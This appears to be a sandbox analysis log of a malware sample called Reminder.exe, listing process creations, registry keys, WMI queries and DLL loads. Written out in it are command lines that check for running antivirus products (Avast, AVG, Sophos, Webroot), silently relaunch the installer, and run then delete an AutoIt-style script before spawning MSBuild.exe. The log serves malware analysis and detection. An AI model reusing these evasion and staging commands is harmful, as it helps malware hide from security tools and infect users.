Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'

Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\Reminder.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: Reminder.exe

ReversingLabs: Detection: 54%

Source: C:\Users\user\Desktop\Reminder.exe

File read: C:\Users\user\Desktop\Reminder.exe

Source: unknown	Process created: C:\Users\user\Desktop\Reminder.exe "C:\Users\user\Desktop\Reminder.exe"
Source: C:\Users\user\Desktop\Reminder.exe	Process created: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp "C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp" /SL5="$40392,1755695,835584,C:\Users\user\Desktop\Reminder.exe"
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Process created: C:\Users\user\Desktop\Reminder.exe "C:\Users\user\Desktop\Reminder.exe" /VERYSILENT
Source: C:\Users\user\Desktop\Reminder.exe	Process created: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp "C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp" /SL5="$6037A,1755695,835584,C:\Users\user\Desktop\Reminder.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Users\user\Desktop\Reminder.exe	Process created: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp "C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp" /SL5="$40392,1755695,835584,C:\Users\user\Desktop\Reminder.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Users\user\AppData\Local\coigned\Updater.exe "C:\Users\user\AppData\Local\coigned\\Updater.exe" "C:\Users\user\AppData\Local\coigned\\friendliwise.csv"
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Process created: C:\Users\user\Desktop\Reminder.exe "C:\Users\user\Desktop\Reminder.exe" /VERYSILENT
Source: C:\Users\user\Desktop\Reminder.exe	Process created: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp "C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp" /SL5="$6037A,1755695,835584,C:\Users\user\Desktop\Reminder.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process created: C:\Users\user\AppData\Local\coigned\Updater.exe "C:\Users\user\AppData\Local\coigned\\Updater.exe" "C:\Users\user\AppData\Local\coigned\\friendliwise.csv"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping -n 5 127.0.0.1 >nul && updater.exe C:\ProgramData\\ZPrVgH71.a3x && del C:\ProgramData\\ZPrVgH71.a3x
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\coigned\Updater.exe updater.exe C:\ProgramData\\ZPrVgH71.a3x
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping -n 5 127.0.0.1 >nul && updater.exe C:\ProgramData\\ZPrVgH71.a3x && del C:\ProgramData\\ZPrVgH71.a3x
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\coigned\Updater.exe updater.exe C:\ProgramData\\ZPrVgH71.a3x
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Source: C:\Users\user\Desktop\Reminder.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\Reminder.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Desktop\Reminder.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\Reminder.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: explorerframe.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Section loaded: apphelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll
